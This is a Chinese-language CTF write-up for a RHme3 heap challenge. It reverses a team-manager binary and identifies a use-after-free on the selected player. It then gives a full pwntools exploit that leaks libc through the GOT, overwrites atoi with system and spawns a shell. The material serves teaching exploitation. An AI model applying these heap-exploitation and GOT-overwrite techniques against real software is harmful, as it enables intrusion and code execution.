UAF 实例-RHme3 CTF 的一道题

CTF相关 2017-12-24


title: UAF实例——RHme3 CTF 的一道题
date: 2017-10-19
author: giantbranch

  • pwn
  • heap
  • uaf

来源:https://github.com/xerof4ks/heapwn/tree/master/rhme3

初步了解

root@kali:~/learn/heapwn/rhme3# ./main.elf 
Welcome to your TeamManager (TM)!
0.- Exit
1.- Add player
2.- Remove player
3.- Select player
4.- Edit player
5.- Show player
6.- Show team
Your choice:

堆的题目基本都是选择菜单,这里可以添加,删除,选择,编辑,展示球员,还可以显示队伍,功能看着很多啊

首先玩玩一下这个游戏,便于后期逆向一些数据结构

Your choice: 1
Found free slot: 0
Enter player name: 1
Enter attack points: 1
Enter defense points: 1
Enter speed: 1
Enter precision: 1

上面就是球员这个结构有什么信息,第一个free slot就相当于球员的id,这个不用我们输入

remove就删除咯

Your choice: 2
Enter index: 0
She's gone!

select会输出球员的信息

Your choice: 3
Enter index: 0
Player selected!
    Name: 1
    A/D/S/P: 1,1,1,1

edit当前的palyer,基于上面的select

Your choice: 4
0.- Go back
1.- Edit name
2.- Set attack points
3.- Set defense points
4.- Set speed
5.- Set precision
Your choice:

show palyer,这个显示的是select的player

Your choice: 5
    Name: 2
    A/D/S/P: 1,1,1,1

show team会将所有球员信息打印出来

Your choice: 6
Your team: 
Player 0
    Name: 2
    A/D/S/P: 1,1,1,1
Player 1
    Name: 3
    A/D/S/P: 3,3,3,3

经过对add_player的逆向,可以推出palyer的结构

struct palyer{
    int attackPoint;
    int defensePoints;
    int speed;
    int precision;
    char* name;
}

编写add_palyer查看内存结构

def add_palyer(name, attack = 1, defense = 2, speed = 3, precision = 4):
    p.recvuntil("Your choice: ")
    p.sendline("1")
    p.recvuntil("name: ")
    p.sendline(name)
    p.recvuntil("attack points: ")
    p.sendline(str(attack))
    p.recvuntil("defense points: ")
    p.sendline(str(defense))
    p.recvuntil("speed: ")
    p.sendline(str(speed))
    p.recvuntil("precision: ")
    p.sendline(str(precision))

查看内存如下,大小为0x20,

gdb-peda$ x /20g 0x1675010-0x10
0x1675000:    0x0000000000000000    0x0000000000000021
0x1675010:    0x0000000200000001    0x0000000400000003
0x1675020:    0x0000000001675030    0x0000000000000071
0x1675030:    0x4141414141414141    0x4141414141414141
0x1675040:    0x4141414141414141    0x4141414141414141
0x1675050:    0x4141414141414141    0x4141414141414141
0x1675060:    0x4141414141414141    0x4141414141414141
0x1675070:    0x4141414141414141    0x4141414141414141
0x1675080:    0x4141414141414141    0x4141414141414141
0x1675090:    0x0000000000000000    0x0000000000020f71

添加两个球员

gdb-peda$ x /60gx 0x0000000001759010
0x1759010:    0x0000000200000001    0x0000000400000003
0x1759020:    0x0000000001759030    0x0000000000000071
0x1759030:    0x4141414141414141    0x4141414141414141
0x1759040:    0x4141414141414141    0x4141414141414141
0x1759050:    0x4141414141414141    0x4141414141414141
0x1759060:    0x4141414141414141    0x4141414141414141
0x1759070:    0x4141414141414141    0x4141414141414141
0x1759080:    0x4141414141414141    0x4141414141414141
0x1759090:    0x0000000000000000    0x0000000000000021
0x17590a0:    0x0000000200000001    0x0000000400000003
0x17590b0:    0x00000000017590c0    0x0000000000000071
0x17590c0:    0x4242424242424242    0x4242424242424242
0x17590d0:    0x4242424242424242    0x4242424242424242
0x17590e0:    0x4242424242424242    0x4242424242424242
0x17590f0:    0x4242424242424242    0x4242424242424242
0x1759100:    0x4242424242424242    0x4242424242424242
0x1759110:    0x4242424242424242    0x4242424242424242
0x1759120:    0x0000000000000000    0x0000000000020ee1

了解得差不多了,开始吧

查找漏洞

看下delete,判断index不能大于10,且全局players数组不为0,而且delete后将相应的players索引置0,所以不存在double free,free的时候首先将name释放,再释放整个palyer

1508398569051.jpg

那看看释放后能否重用,看看show palyer,因为delete没将selected置0,导致可以重用,这可以导致信息泄露

1508398742960.jpg

再有edit可以导致任意地址写漏洞

1508398848541.jpg

那怎么占位呢(下面图说的0x17不一定,我们0x16,0x15等也能占位,差不多大小就行)

1514121012743.jpg

就是创建两个palyer,都free掉,再创建一个palyer即可占位,用name占第二个palyer的结构

还有我们下面写got的话有两个目标,一个atoi,一个strlen,不过atoi的话传入的参数只有四字节,只能传个sh过去了,strlen也是可以的,留给大家尝试,就不贴出来了

exp

# -*- coding: utf-8 -*-
from pwn import *

# context.log_level = 'debug' 

p = process("./main.elf")
elf = ELF("./main.elf")
libc = ELF("libc.so.6")

# print proc.pidof(p)[0]

# print hex(elf.got["read"])  #0x6030a0
# print hex(elf.got["atoi"])  #0x603110
# print hex(elf.got["strlen"])  #0x603040

raw_input()

def add_palyer(name, attack = 1, defense = 2, speed = 3, precision = 4):
    p.recvuntil("Your choice: ")
    p.sendline("1")
    p.recvuntil("name: ")
    p.sendline(name)
    p.recvuntil("attack points: ")
    p.sendline(str(attack))
    p.recvuntil("defense points: ")
    p.sendline(str(defense))
    p.recvuntil("speed: ")
    p.sendline(str(speed))
    p.recvuntil("precision: ")
    p.sendline(str(precision))

def delete_palyer(index):
    p.recvuntil("Your choice: ")
    p.sendline("2")
    p.recvuntil("Enter index: ")
    p.sendline(str(index))

def select_palyer(index):
    p.recvuntil("Your choice: ")
    p.sendline("3")
    p.recvuntil("Enter index: ")
    p.sendline(str(index))

def  show_palyer():
    p.recvuntil("Your choice: ")
    p.sendline("5")

def edit_palyername(name):
    p.recvuntil("Your choice: ")
    p.sendline("4")
    p.recvuntil("Your choice: ")
    p.sendline("1")
    p.recvuntil("Enter new name: ")
    p.sendline(name)

def pwning(target):
    p.recvuntil("Your choice: ")
    p.sendline("2")
    p.recvuntil("Enter attack points: ")
    p.sendline(target)


# ---------info leak---------
add_palyer("A"*0x40)
add_palyer("A"*0x40)
select_palyer(1)

# free 
delete_palyer(1)
delete_palyer(0)

# keep space
# two malloc
# b *0x00000000004018A7 
# b *0x0000000000401955
# yin wei malloc(len+1) in the binary
# add_palyer("B"*0x17)0x603070
leakread = "\x02\x02\x01\x01"*4  + "\xa0\x30\x60"
print len(leakread)
add_palyer(leakread)
# use
# b *0x00000000004020D2 
show_palyer()
p.recvuntil("Name: ")
leak = p.recv(6).ljust(8, '\x00')
read_addr =u64(leak)
print  "read_addr = " +  hex(read_addr)

print "\ncalculating system() addr and \"/bin/sh\" addr ... ###"
system_addr = read_addr - (libc.symbols['read'] - libc.symbols['system'])
print "system_addr = " + hex(system_addr)
# binsh_addr = read_addr - (libc.symbols['read'] - next(libc.search("/bin/sh")))
# print "binsh_addr = " + hex(binsh_addr)


# ---------write got---------
delete_palyer(0)
add_palyer("B"*0x40)
add_palyer("B"*0x40)
select_palyer(0)
delete_palyer(0)
delete_palyer(1)
writeAtoiAddr = "\x02\x02\x01\x01"*4  + "\x10\x31\x60"
# writeStrlenAddr = "\x02\x02\x01\x01"*4  + "\x40\x30\x60"
add_palyer(writeAtoiAddr)
edit_palyername(p64(system_addr))
# raw_input()
p.sendline("sh")
# raw_input()

p.interactive()

本文由 信安之路 创作,采用 知识共享署名 3.0,可自由转载、引用,但需署名作者且注明文章出处。

楼主残忍的关闭了评论